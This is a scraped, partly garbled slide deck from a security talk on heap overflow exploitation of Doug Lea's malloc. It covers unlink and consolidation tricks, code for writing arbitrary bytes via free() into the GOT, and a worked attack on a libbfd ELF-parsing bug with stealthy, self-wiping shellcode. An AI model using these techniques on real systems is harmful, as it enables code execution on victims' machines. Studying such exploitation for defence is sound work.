Using the magic against the magician magician Nicolas


















![jp’s Unlike. Me Chunk (Bonus /* from jp’s article in phrack 61 Ref[3] */ jp’s Unlike. Me Chunk (Bonus /* from jp’s article in phrack 61 Ref[3] */](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-19.jpg)



![Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) • This is Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) • This is](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-23.jpg)
![Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) • Now… the Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) • Now… the](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-24.jpg)
![Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) int main(int argv, Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) int main(int argv,](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-25.jpg)
![Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) int main(int argv, Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) int main(int argv,](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-26.jpg)
![Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) int main(int argc, Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) int main(int argc,](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-27.jpg)








![bfd_elf_get_str_section ( bfd *abfd, unsigned int shindex) { …. offset = i_shdrp[shindex]->sh_offset; shstrtabsize = bfd_elf_get_str_section ( bfd *abfd, unsigned int shindex) { …. offset = i_shdrp[shindex]->sh_offset; shstrtabsize =](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-36.jpg)






![Function pointer (got[free]): • Lot of possiblities to hit it • Targets of O. Function pointer (got[free]): • Lot of possiblities to hit it • Targets of O.](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-43.jpg)





![Re executing stack_top … argc argv[] 0 envp[] 0 /bin/objdump -x … PWD=/home … Re executing stack_top … argc argv[] 0 envp[] 0 /bin/objdump -x … PWD=/home …](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-49.jpg)

![References • [1] gera’s Insecure. Programming page http: //community. corest. com/~gera/Insecure. Programming/ • [2] References • [1] gera’s Insecure. Programming page http: //community. corest. com/~gera/Insecure. Programming/ • [2]](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-51.jpg)

- Slides: 52

“Using the magic against the magician” magician Nicolas Waisman DSN Security, Inc www. dsnsecurity. com

Introducti (Basic skills on heap overflow will help) on • Techniques to make heap overflow exploit more reliable • Doug Lea’s malloc (<libc 2. 3) • Based on free’s unlink technique (see Reference [5]) • At the end, you will have a better idea about of how and when use serveral techniques that will help to make your exploit more reliable.

Basic Chunk’s allocated structure chunk-> p_size nextc-> p_size mem-> free mem-> fd fd bk bk … (data) nextc-> p_size |P p_size

Chunks consolidation • Every time that free is called, the algorythm tries to consolidate the boundaries chunks • Two types: - Forward Consolidation (Our chunk with next one - Backward Consolidation (Our chunk with previo • Objetives: Minimizing Fragmentation

Backward Consolidation • Check if the previous chunk isn’t in use • Locate the pointer into the previous chunk and “unl • unlink(p - p->prev_sz)

p_size fd P Backward 1) !(p->size & PREV_INUSE) Consolidation 2) p = p – p->prevsz bk P … (data) 3) unlink(p) p_size fd bk … (data) PREV_INUSE

Forward Consolidation • Check if the next chunk isn’t in use. To do this, it ha check for flag PREV_INUSE of the next chunk of ou next chunk (the 3 rd chunk). • Locate a pointer into the next chunk and “unlink()” • unlink(p+p->size)

P p_size Forward Consolidation size 1) n = p + p->sz fd 2) !((n+n->size)->size & PREV_IN bk 3) unlink(n) … (data) N p_size fd bk … (data) PREV_INUSE

Taking advantage of Chunks consolidation • Changing malloc internal structure • Forcing free() to call unlink() with our modified chun • Writing 4 arbitrary bytes (or more? ) wherever we w

Exploiting Backward consolidation (writing 4 arbitrary bytes in an arbitrary location) • Fake our prev_sz field (taking PREV_SIZE flag out), in order to make free() believe that our previous chunk is free • Fake our size field in order to point our previous chunk to our “fake” previous chunk. (p- p>prev_sz) • Finally, unlink() is triggered : D

p_size fd bk P Taking advantage of Backward 1) !(p->size & PREV_INUSE) Consolidation 2) p = p – p->prevsz … (data) -4 -4 &~PREV_INUSE SHIT pointer - 12 shellcode_addr P PREV_INUSE 3) unlink(p) (pointer-12) = shellcod_addr)

Exploiting Forward consolidation (writing 4 arbitrary bytes in a arbitrary location) • In Forward consolidation, we aren’t forced to overwrite the malloc structure of our buffer to be free()d • We could just overwrite the malloc structure of our next chunk or fake our own structures. • Fake the size of the “next” chunk (3 rd chunk) of our “next chunk” (take the PREV_SIZE flag, so free() believe that our 2 nd chunk is free) • Finally, unlink() is trigged in our “next” chunk

P p_size FD Taking advantage of Forward Consolidation 1) n = p + p->sz BK …(data) 2) !((n+n->size)->size & PREV_IN … N SHIT & ~PREV_SIZE -4 pointer - 12 shellcode_addr … (data) … 3) unlink(n) PREV_INUSE

/* abo 9. c * pbuf 1 * specially crafted to feed your brain by gera@core-sdi. com */ p_size /* free(your mind) */ FD /* I'm not sure in what operating systems it can be done */ BK int main(int argv, char **argc) { char *pbuf 1=(char*)malloc(256); char *pbuf 2=(char*)malloc(256); gets(pbuf 1); free(pbuf 2); free(pbuf 1); } …(data) … pbuf 2 p_size FD BK … (data) …

“Reliable” exploit requirements • Function’s Pointer address (GOT, ctors, etc) • Shellcode Address • etc (Specific Cases)

Some techniques that helps to get our address. • Harcorded Addresses (wtf do I come from Bs. As. . ? • Information Leaking (ask jp@corest. com) • jp’s Unlike. Me Chunk (Bonus Track) • Writing 8 bytes per free • Trigger as much free as possible • etc…

Jp’s Unlink. Me Chunk technique • Technique to trigger our fake chunk when we cann what part of our controlled buffer will be “free” • Using forward consolidation technique, our free wil for our “next” chunk, using the p->size that will be on -15, -19, etc, and this will take our “next” pointer to ou chunk that is on a relative address of the place that f

jp’s Unlike. Me Chunk (Bonus (forward consolidation) Track) -4 -4 FD BK -11 ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE -15 -19 free() …
![jps Unlike Me Chunk Bonus from jps article in phrack 61 Ref3 jp’s Unlike. Me Chunk (Bonus /* from jp’s article in phrack 61 Ref[3] */](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-19.jpg)
jp’s Unlike. Me Chunk (Bonus /* from jp’s article in phrack 61 Ref[3] */ Track) #define SOMEOFFSET 5 + (rand() % (SZ-1)) int main(void){ unsigned long *unlink. Me= (unsigned long*)malloc(SZ*sizeof(unsigned long)); int i = 0; unlink. Me[i++] = -4; unlink. Me[i++] = WHAT_2_WRITE; unlink. Me[i++] = WHERE_2_WRITE-8; for(; i<SZ; i++){ unlink. Me[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ; } free(unlink. Me+SOMEOFFSET); return 0; } -4 -4 FD BK -11 -15 -19 …

Writing 8 bytes per free() • Triggering forward and backward consolidation on th free will allow us to write 8 arbitrary bytes in 2 differen position. • As we saw before, backward consolidation use as a – p->prev_sz and forward consolidation + p->size.

Writing 8 bytes per free() • So, we need to put in our trigger chunk: -prev_sz: (1) offset to our crafted backward ch -size: (2) offset to our crafted forward chunk. • And then, put our crafted backward and forward on -bk chunk location: trigger chunk - (1) offset -fd chunk location: trigger chunk + (2) offset • Remember that our offset will be negative, so for e - bk chunk will be after our trigger chunk - fd chunk will be before our trigger chunk

Writing 8 bytes per free (double consolidation) forward -4 backward -4 FD BK -16 X forward chunk X -4 -4 BK FD backward chunk trigger chunk free()
![Writing 8 bytes per free mixed with geras friendly function Ref4 This is Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) • This is](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-23.jpg)
Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) • This is a trick to “discover” our shellcode location w knowing the address of the buffer where is. • We need to know the address of a function pointer • With our 8 bytes per free technique, on our first con (backward) we write on our function ptr the address o ptr + 4, on the second consolidation (forward), we wr opcode (pop %eax, ret)
![Writing 8 bytes per free mixed with geras friendly function Ref4 Now the Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) • Now… the](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-24.jpg)
Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) • Now… the next time our function pointer is called, w discard the real “return address” and we will be jump the function argument.
![Writing 8 bytes per free mixed with geras friendly function Ref4 int mainint argv Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) int main(int argv,](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-25.jpg)
Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) int main(int argv, char **argc) { char *pbuf 1=(char*)malloc(256); char *pbuf 2=(char*)malloc(256); gets(pbuf 1); free(pbuf 2); free(pbuf 1); } got[free] = got[free+4]= 0 xbfff 3 c 58 (pop %eax; ret) x 3 cx 58xffxbf pop %eax ret ( jmp pbuf 1 ) pbuf 1 p_size … shellcode forward chunk pbuf 2 -16 backward chunk … (data) …
![Writing 8 bytes per free mixed with geras friendly function Ref4 int mainint argv Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) int main(int argv,](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-26.jpg)
Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) int main(int argv, char **argc) { char *pbuf 1=(char*)malloc(256); char *pbuf 2=(char*)malloc(256); gets(pbuf 1); free(pbuf 2); free(pbuf 1); } got[free] = got[free+4]= 0 xbfff 3 c 58 (pop %eax; ret) x 3 cx 58xffxbf pop %eax ret ( jmp pbuf 1 ) • Shellcode location • Function pointer ? ?
![Writing 8 bytes per free mixed with geras friendly function Ref4 int mainint argc Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) int main(int argc,](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-27.jpg)
Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) int main(int argc, char **argv) { char *pbuf 1=(char *)malloc(256); char *pbuf 2=(char *)malloc(256); gets(pbuf 1); free(pbuf 2); snprintf(pbuf 1, "HOLA", 4); }

Example: bug in libfd (steps to make it more reliable)

Lib BFD is a package which allows applications to use the same routines to operate on object files whatever the object file format. When an application sucessfully opens a target file (object, archive, etc), a pointer to an internal structure is returned. Note: I try many times to contact libfd developers, but I couldn’t.

Ejemplo de uso de Lib BFD #include "bfd. h“ unsigned int number_of_sections(abfd) bfd *abfd; { return bfd_count_sections(abfd); } Return the amount of sections in a transparent way without knowing the object file format.

Used by… Most of binutils’s applications • gdb • objdump • nm • strip • etc

What is ELF? ◊ Application binary format ◊ Available in most than 30 platform ◊ Used for 4 types of files: - Relocate Object Files - Executables - Dynamic Executables - Core dumps

Section Table • Array of Section Headers • Gives us information about the different file’s section (got, . data, . code, . bss, etc) • Not necesary • strip – Delete sections from the file

typedef struct { Elf 32_Word sh_name; Elf 32_Word sh_type; Elf 32_Word sh_flags; Elf 32_Addr sh_addr; Elf 32_Off sh_offset; Elf 32_Word sh_size; Elf 32_Word sh_link; Elf 32_Word sh_info; Elf 32_Word sh_addralign; Elf 32_Word sh_entsize; } Elf 32_Shdr; Offset to section Section size

![bfdelfgetstrsection bfd abfd unsigned int shindex offset ishdrpshindexshoffset shstrtabsize bfd_elf_get_str_section ( bfd *abfd, unsigned int shindex) { …. offset = i_shdrp[shindex]->sh_offset; shstrtabsize =](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-36.jpg)
bfd_elf_get_str_section ( bfd *abfd, unsigned int shindex) { …. offset = i_shdrp[shindex]->sh_offset; shstrtabsize = i_shdrp[shindex]->sh_size; shstrtab = elf_read (abfd, offset, shstrtabsize); i_shdrp[shindex]->contents = (PTR) shstrtab; } return shstrtab; } offset = sh_offset shtstrtabsize= sh_size

static char *elf_read (bfd *abfd; file_ptr offset; bfd_size_type size) { char *buf; if ((buf = bfd_alloc (abfd, size)) == NULL) return NULL; alloc if (bfd_seek (abfd, offset, SEEK_SET) != 0) lseek return NULL; if (bfd_bread ((PTR) buf, size, abfd) != size){ if (bfd_get_error () != bfd_error_system_call) bfd_set_error (bfd_error_file_truncated); return NULL; } return buf; } read file (fread)

#define objalloc_alloc(o, l) __extension__ ({ struct objalloc *__o = (o); unsigned long __len = (l); if (__len == 0) __len = 1; __len = (__len + OBJALLOC_ALIGN - 1) &~ (OBJALLOC_ALIGN - 1); (__len <= __o->current_space ? (__o->current_ptr += __len, __o->current_space -= __len, (PTR) (__o->current_ptr - __len)) : _objalloc_alloc (__o, __len)); }) len= 0 xffff align OBJALLOC_ALIGN=0 x 4 (0 xffff+3) == 0 x 2 &~ (3) == 0 x 0

void objalloc_free (struct objalloc *o) { struct objalloc_chunk *l; l = (struct objalloc_chunk *) o->chunks; while (l != NULL) { struct objalloc_chunk *next; next = l->next; free (l); l = next; } free (o); } struct objalloc_chunk { struct objalloc_chunk *next; char *current_ptr; };

Simple Exploit SHELLCODE … struct objalloc *o ? CHUNK ADDR 2 CHUNK … ? shellcode_addr ? function_p ?

Lets take a break… enough! Time to think… • Hardcorded addresses. • unlink. Me chunk ? • Trigger many free()s in order to write as much as possible.

bk Backward Consolidation with “lchunk” (triggering free’s) 1) !(p->size & PREV_INUSE) … (data) 2) p = p – p->prevsz p_size fd P P free(l) -4 -4 &~PREV_INUSE ADDR NEXT CHUNK pointer - 12 shellcode_addr PREV_INUSE 3) unlink(p) (pointer-12) = shellcod_addr l->next l->current_ptr
![Function pointer gotfree Lot of possiblities to hit it Targets of O Function pointer (got[free]): • Lot of possiblities to hit it • Targets of O.](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-43.jpg)
Function pointer (got[free]): • Lot of possiblities to hit it • Targets of O. S. • common got incremented by four struct objalloc_o • Raise the possiblity to hit it, adding 0 x 300 bytes of Addr to the first chunk lchunk: • Address first chunk: Relative to the beginning of the file • Next lchunk: Relative to the beginning of the buffer (adding +sizeof(lchunk) to find the next contiguos lchunk)

Lets put all together struct objalloc *o shellcode lchunk … lchunk ADDRs 2 first lchunk … lchunk ? shellcode_addr ? function_p next_lchunk

Bonus II – Doing a nice shellcode (lacria’s shellcode) • Exploiting an application to analize files • One shot • Make it the most stealth we can • Try not to mess up with the file analisis • No trace of shellcode existence

Patching the Section typedef struct { Elf 32_Word Elf 32_Addr Elf 32_Off Elf 32_Word Elf 32_Word } Elf 32_Shdr; sh_name; sh_type; sh_flags; sh_addr; sh_offset; sh_size; sh_link; sh_info; sh_addralign; sh_entsize; Old values

Wiping the shellcode Original Application shellcode

Payload (infection, reverse connection, etc) push $0 xa 3 f 6569 push $0 x 62627574 push $0 x 656 c 6574 push $0 x 20756 f 79 push $0 x 20646944 xor %ebx, %ebx inc %ebx mov %esp, %ecx mov $0 x 14, %edx mov $0 x 4, %eax int $0 x 80
![Re executing stacktop argc argv 0 envp 0 binobjdump x PWDhome Re executing stack_top … argc argv[] 0 envp[] 0 /bin/objdump -x … PWD=/home …](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-49.jpg)
Re executing stack_top … argc argv[] 0 envp[] 0 /bin/objdump -x … PWD=/home … execve(“/bin/objdump”, argv, envp) /bin/objdump

any question?
![References 1 geras Insecure Programming page http community corest comgeraInsecure Programming 2 References • [1] gera’s Insecure. Programming page http: //community. corest. com/~gera/Insecure. Programming/ • [2]](https://slidetodoc.com/presentation_image/ee3639f51eb1b1bdb65b8a5714d6e617/image-51.jpg)
References • [1] gera’s Insecure. Programming page http: //community. corest. com/~gera/Insecure. Programming/ • [2] LIB BFD, the Binary File Descriptor Library http: //www. gnu. org/manual/bfd-2. 9. 1/html_mono/bfd. html • [3] Advanced Doug Lea’s malloc exploits (jp) http: //www. phrack. org/show. php? p=61&a=6 • [4] Advances in format string explotation (riq/gera) http: //www. phrack. org/show. php? p=59&a=7 • [5] Vudo malloc tricks (Ma. XX) http: //www. phrack. org/show. php? p=57&a=8 • [6] Linux libc sources http: //ftp. gnu. org/pub/gnu/glibc-2. 2. 5. tar. gz

GRACIAS (to Cristian, Augusto, Daemon, nahual, module, coca-cola, jp and lots of etcs) Questions? Ideas? Flames? nwaisman@dsnsecurity. com